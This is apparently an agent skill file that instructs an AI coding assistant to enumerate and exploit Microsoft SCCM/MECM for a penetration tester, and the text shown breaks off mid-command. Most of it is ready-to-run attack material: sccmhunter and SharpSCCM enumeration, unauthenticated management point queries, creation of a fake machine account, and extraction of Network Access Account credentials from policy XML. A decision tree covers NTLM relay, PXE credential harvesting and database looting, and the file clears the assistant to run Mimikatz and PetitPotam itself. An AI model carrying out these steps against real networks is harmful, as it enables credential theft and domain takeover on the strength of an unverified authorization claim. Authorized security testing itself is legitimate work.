/sccm-exploitation

name: sccm-exploitation
description: >
  Enumerates and exploits Microsoft SCCM/MECM (System Center Configuration
  Manager / Microsoft Endpoint Configuration Manager) infrastructure for
  credential harvesting, lateral movement, and domain escalation. Covers SCCM
  enumeration (sccmhunter, SharpSCCM), Network Access Account (NAA) credential
  extraction (policy request, WMI DPAPI, WMI repository), management point
  NTLM relay to MSSQL (TAKEOVER1), client push relay (ELEVATE2), PXE boot
  media credential harvesting (CRED1), SCCM database credential extraction,
  application deployment for lateral movement, and SCCM share looting.
keywords:
  - SCCM
  - MECM
  - ConfigMgr
  - Configuration Manager
  - management point
  - sccmhunter
  - SharpSCCM
  - NAA
  - Network Access Account
  - PXE boot
  - client push
  - task sequence
  - OSD secrets
  - SCCMContentLib
  - CMLoot
  - MalSCCM
  - SCCM relay
tools:
  - sccmhunter
  - SharpSCCM
  - MalSCCM
  - ntlmrelayx
  - PetitPotam
  - pxethiefy
  - CMLoot
  - Mimikatz
  - SQLRecon
opsec: medium

SCCM/MECM Exploitation

You are helping a penetration tester enumerate and exploit Microsoft SCCM/MECM infrastructure for credential harvesting, lateral movement, and domain escalation. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[sccm-exploitation] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

**Access required**: Domain user (for enumeration and NAA extraction via policy request). Local admin on SCCM client (for WMI/DPAPI extraction). Domain admin or relay position (for MP relay and database attacks).

**Kerberos authentication setup** (for enumeration):

getTGT.py 'DOMAIN.LOCAL/username:password' -dc-ip DC_IP
export KRB5CCNAME=$(pwd)/username.ccache

**Tools**: sccmhunter, SharpSCCM, MalSCCM, ntlmrelayx.py, PetitPotam, pxethiefy/PXEThief/SharpPXE, CMLoot, Mimikatz, SQLRecon.

Privileged Commands

Claude Code cannot execute `sudo` commands. The following require root and must be handed off to the user:

• **pxethiefy.py** — PXE boot credential harvesting (needs raw sockets for DHCP/TFTP)
• **ntlmrelayx.py** — NTLM relay to SCCM management point MSSQL (needs raw sockets)

**Handoff protocol:** Present the full command including `sudo`, ask the user to run it, then read the output or wait for callback confirmation.

**Non-privileged commands** Claude can execute directly:

• Enumeration: `sccmhunter`, `SharpSCCM`, `CMLoot`
• Policy extraction: `sccmhunter http`, `sccmhunter show`
• Post-exploitation: `SQLRecon`, `MalSCCM`, `Mimikatz`
• Coercion triggers: `PetitPotam.py`

Step 1: Enumerate SCCM Infrastructure

Discovery via sccmhunter

# Find SCCM infrastructure in the domain
sccmhunter.py find -u 'user' -p 'Password123' -d DOMAIN.LOCAL -dc-ip DC_IP

# Display discovered site servers
sccmhunter.py show -siteservers

# HTTP-based enumeration (no WMI, broader info)
sccmhunter.py http -u 'user' -p 'Password123' -d DOMAIN.LOCAL -dc-ip DC_IP -auto

SharpSCCM (from compromised Windows host)

# Enumerate devices managed by site server
.\SharpSCCM.exe get devices --server SCCM01 --site-code P01

Unauthenticated MP Endpoints

# Retrieve site signing cert + Unknown Computer GUIDs
curl -s http://MP01.domain.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -

# List all management points
curl -s http://MP01.domain.local/SMS_MP/.sms_aut?MPLIST | xmllint --format -

# Get site signing certificate
curl -s http://MP01.domain.local/SMS_MP/.sms_aut?SITESIGNCERT | xmllint --format -

These HTTP endpoints are unauthenticated and reveal site structure.

Attack Path Decision Tree

SCCM Infrastructure Found
├── Have local admin on SCCM client? → Step 3 (NAA from WMI/DPAPI — quietest)
├── Can create machine account? → Step 2 (NAA via policy request)
├── Can reach MP + MSSQL? → Step 4 (MP relay to MSSQL)
├── Auto client push enabled? → Step 5 (Client push relay)
├── PXE-enabled DP? → Step 6 (PXE boot credential harvesting)
├── Have SCCM admin or DB access? → Step 7 (Database credential extraction)
└── Have SCCM admin? → Step 8 (Application deployment for lateral movement)

Step 2: NAA Extraction via Policy Request (CRED-2)

Extract Network Access Account credentials by requesting machine policy from the management point. Requires a machine account (real or created).

Create Machine Account + Request Policy

# 1. Create a machine account (MAQ default allows this)
addcomputer.py -computer-name 'fakesccm$' -computer-pass 'Password123!' \
  'DOMAIN.LOCAL/user:pass' -dc-ip DC_IP

# 2. Add DNS entry for SCCM server (if not resolving)
echo "SCCM_IP  SCCM01 SCCM01.DOMAIN.LOCAL" >> /etc/hosts

# 3. Request policy from MP using fake computer identity (sccmwtf)
python3 sccmwtf.py fake fakepc.domain.local SCCM01 'DOMAIN\fakesccm$' 'Password123!'

# 4. Extract and decrypt NAA credentials from policy XML
cat /tmp/naapolicy.xml | grep 'NetworkAccessUsername\|NetworkAccessPassword' -A 5 \
  | grep 'CDATA' | cut